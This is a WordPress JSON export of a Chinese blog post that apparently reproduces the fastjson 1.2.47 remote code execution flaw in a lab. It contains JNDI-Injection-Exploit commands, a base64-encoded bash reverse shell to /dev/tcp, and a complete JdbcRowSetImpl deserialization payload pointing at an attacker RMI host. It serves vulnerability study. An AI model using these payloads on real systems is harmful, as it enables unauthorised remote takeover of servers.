{"id":1282,"date":"2023-02-08T10:14:28","date_gmt":"2023-02-08T02:14:28","guid":{"rendered":"https:\/\/blog.langsasec.cn\/?p=1282"},"modified":"2023-02-08T10:14:28","modified_gmt":"2023-02-08T02:14:28","slug":"fastjson-1-2-47-rce%e6%bc%8f%e6%b4%9e%e5%a4%8d%e7%8e%b0","status":"publish","type":"post","link":"https:\/\/blog.langsasec.cn\/index.php\/2023\/02\/08\/fastjson-1-2-47-rce%e6%bc%8f%e6%b4%9e%e5%a4%8d%e7%8e%b0\/","title":{"rendered":"fastjson 1.2.47-rce\u6f0f\u6d1e\u590d\u73b0"},"content":{"rendered":"<h1><\/h1>\n<h2><span class=\"ez-toc-section\" id=\"%e6%bc%8f%e6%b4%9e%e7%ae%80%e4%bb%8b\"><\/span>\u6f0f\u6d1e\u7b80\u4ecb<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>fastjson&lt; =1.2.47 \u7684\u7248\u672c\u4e2d\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u5229\u7528\u7279\u6b8a\u6784\u9020\u7684 json \u5b57\u7b26\u4e32\u7ed5\u8fc7\u767d\u540d\u5355\u68c0\u6d4b\uff0c\u6210\u529f\u6267\u884c\u4efb\u610f\u547d\u4ee4<\/p>\n<h2><span class=\"ez-toc-section\" id=\"%e7%8e%af%e5%a2%83%e6%90%ad%e5%bb%ba\"><\/span>\u73af\u5883\u642d\u5efa<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>\u73af\u5883\u642d\u5efa\u5b8c\u6bd5\uff0c\u8bbf\u95eehttp:\/\/192.168.0.140:8090\/\uff0c\u5f97\u5230\u5982\u4e0b\u9875\u9762<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/i0.hdslb.com\/bfs\/album\/9ebd1630e1c49e210aa9fc7d4cea3f52f5c4b750.png\" alt=\"image-20221213100322939\" title=\"fastjson 1.2.47-rce\u6f0f\u6d1e\u590d\u73b0\u63d2\u56fe\" \/><\/p>\n<h2><span class=\"ez-toc-section\" id=\"%e9%aa%8c%e8%af%81%e6%bc%8f%e6%b4%9e%e7%9a%84%e5%ad%98%e5%9c%a8\"><\/span>\u9a8c\u8bc1\u6f0f\u6d1e\u7684\u5b58\u5728<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>\u8bbf\u95eehttp:\/\/192.168.0.140:8090 \u6293\u5305\uff0c\u4fee\u6539\u6570\u636e\u5305\uff0c\u5c31\u53ef\u4ee5\u66f4\u65b0\u670d\u52a1\u5668\u7aef\u7684\u4fe1\u606f<\/p>\n<p>GET\u4fee\u6539\u6210POST\uff0c\u518d\u6dfb\u52a0<\/p>\n<pre class=\"prettyprint linenums\" ><code>Content-Type:application\/json\n\n{&quot;name&quot;:&quot;alsly&quot;,&quot;age&quot;:20}<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/i0.hdslb.com\/bfs\/album\/8d4926d77d43a8dc88f884cdb6f72535cb7fdc7b.png\" alt=\"image-20221213100704286\" title=\"fastjson 1.2.47-rce\u6f0f\u6d1e\u590d\u73b0\u63d2\u56fe1\" \/><\/p>\n<h2><span class=\"ez-toc-section\" id=\"%e5%91%bd%e4%bb%a4%e6%89%a7%e8%a1%8c\"><\/span>\u547d\u4ee4\u6267\u884c<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>1\u3001\u5229\u7528\u5de5\u5177\u81ea\u52a8\u5f00\u542fRMI\u548cLDAP\u670d\u52a1\u4ee5\u53ca\u53d1\u5e03Exploit\u7c7b<\/p>\n<pre class=\"prettyprint linenums\" ><code>java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C &quot;\u8981\u6267\u884c\u7684\u547d\u4ee4&quot; -A &quot;vpsip&quot;\njava -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C &quot;touch \/tmp\/access&quot; -A &quot;192.168.0.1&quot;<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/i0.hdslb.com\/bfs\/album\/069410b35f720f7932bf7bd231bd39b55505766b.png\" alt=\"image-20221213102757562\" title=\"fastjson 1.2.47-rce\u6f0f\u6d1e\u590d\u73b0\u63d2\u56fe2\" \/><\/p>\n<p>2\u3001\u6784\u9020\u6570\u636e\u5305\uff0c\u53d1\u9001payload<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/i0.hdslb.com\/bfs\/album\/38dd9aa6b5f1eac597a2ce727869bcaad84c009c.png\" alt=\"image-20221213103209967\" title=\"fastjson 1.2.47-rce\u6f0f\u6d1e\u590d\u73b0\u63d2\u56fe3\" \/><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/i0.hdslb.com\/bfs\/album\/d6494f8a1f44e30487817d291fc8a3e1775ac5d3.png\" alt=\"image-20221213103302377\" title=\"fastjson 1.2.47-rce\u6f0f\u6d1e\u590d\u73b0\u63d2\u56fe4\" \/><\/p>\n<p>2\u3001\u8fdb\u5165\u7ec8\u7aef\uff0c\u67e5\u770b\u6587\u4ef6\u662f\u5426\u751f\u6210\uff08\u786e\u8ba4\u547d\u4ee4\u6b63\u5e38\u6267\u884c\uff09<\/p>\n<p>1\uff09\u8fdb\u5165\u7ec8\u7aef<\/p>\n<pre class=\"prettyprint linenums\" ><code>docker ps\ndocker exec -it \u5bb9\u5668id bash\ndocker exec -it cdb842d6e03c bash<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/i0.hdslb.com\/bfs\/album\/ebe58ff6ffcd91f677bf76fe3dcaeecc69c23d1a.png\" alt=\"image-20221213101250588\" title=\"fastjson 1.2.47-rce\u6f0f\u6d1e\u590d\u73b0\u63d2\u56fe5\" \/><\/p>\n<p>2\uff09\u67e5\u770b\u662f\u5426\u5b58\u5728\u521b\u5efa\u7684\u6587\u4ef6\uff0c\u5b58\u5728\uff01<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/i0.hdslb.com\/bfs\/album\/4cd7d06d86928c370c8a55236308313c643afa25.png\" alt=\"image-20221213103431439\" title=\"fastjson 1.2.47-rce\u6f0f\u6d1e\u590d\u73b0\u63d2\u56fe6\" \/><\/p>\n<h2><span class=\"ez-toc-section\" id=\"%e5%8f%8d%e5%bc%b9shell\"><\/span>\u53cd\u5f39shell<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>1\uff09\u6784\u9020\u547d\u4ee4\uff0c\u53cd\u5f39shell<\/p>\n<pre class=\"prettyprint linenums\" ><code>bash -i &gt;&amp; \/dev\/tcp\/192.168.0.128\/6666 0&gt;&amp;1-&gt; YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTI4LzY2NjYgMD4mMQ==  #base64\u7f16\u7801\njava -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C &quot;bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTI4LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}&quot; -A &quot;192.168.0.1&quot;<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/i0.hdslb.com\/bfs\/album\/49cbeb1f2347f98dda4883e5a33aae437efeffc8.png\" alt=\"image-20221213144951404\" title=\"fastjson 1.2.47-rce\u6f0f\u6d1e\u590d\u73b0\u63d2\u56fe7\" \/><\/p>\n<p>2\uff09\u5f00\u542f\u76d1\u542c<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/i0.hdslb.com\/bfs\/album\/f9ecf999194c0fd3ed55d61f93549dd6f210dde7.png\" alt=\"image-20221213145153786\" title=\"fastjson 1.2.47-rce\u6f0f\u6d1e\u590d\u73b0\u63d2\u56fe8\" \/><\/p>\n<p>3\uff09\u6784\u9020\u6570\u636e\u5305\uff0c\u53d1\u9001payload<\/p>\n<pre class=\"prettyprint linenums\" ><code>POST \/ HTTP\/1.1\nHost: 192.168.0.140:8090\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko\/20100101 Firefox\/52.0\nContent-Type:application\/json\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8\nAccept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3\nAccept-Encoding: gzip, deflate\nDNT: 1\nConnection: close\nUpgrade-Insecure-Requests: 1\nContent-Length: 266\n\n{\n    &quot;a&quot;:{\n        &quot;@type&quot;:&quot;java.lang.Class&quot;,\n        &quot;val&quot;:&quot;com.sun.rowset.JdbcRowSetImpl&quot;\n    },\n    &quot;b&quot;:{\n        &quot;@type&quot;:&quot;com.sun.rowset.JdbcRowSetImpl&quot;,\n        &quot;dataSourceName&quot;:&quot;rmi:\/\/192.168.0.1:1099\/dab1pj&quot;,\n        &quot;autoCommit&quot;:true\n    }\n}<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/i0.hdslb.com\/bfs\/album\/887205bfd6a5dd456642b4369d27a1651196b447.png\" alt=\"image-20221213145013124\" title=\"fastjson 1.2.47-rce\u6f0f\u6d1e\u590d\u73b0\u63d2\u56fe9\" \/><\/p>\n<p>4\uff09\u7b49\u5f85\u7247\u523b\uff0c\u83b7\u5f97\u53cd\u5f39shell<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/i0.hdslb.com\/bfs\/album\/7891993206725d10d00fe60154e355d3b76dff24.png\" alt=\"image-20221213145046211\" title=\"fastjson 1.2.47-rce\u6f0f\u6d1e\u590d\u73b0\u63d2\u56fe10\" \/><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u6f0f\u6d1e\u7b80\u4ecb fastjson&lt; =1.2.47 \u7684\u7248\u672c\u4e2d\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u5229\u7528\u7279\u6b8a\u6784\u9020\u7684 json \u5b57\u7b26\u4e32\u7ed5\u8fc7\u767d [&hellip;]<\/p>\n","protected":false},"author":5,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[34],"tags":[],"class_list":["post-1282","post","type-post","status-publish","format-standard","hentry","category-vulfx"],"_links":{"self":[{"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/posts\/1282","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/users\/5"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/comments?post=1282"}],"version-history":[{"count":1,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/posts\/1282\/revisions"}],"predecessor-version":[{"id":1284,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/posts\/1282\/revisions\/1284"}],"wp:attachment":[{"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/media?parent=1282"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/categories?post=1282"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/tags?post=1282"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}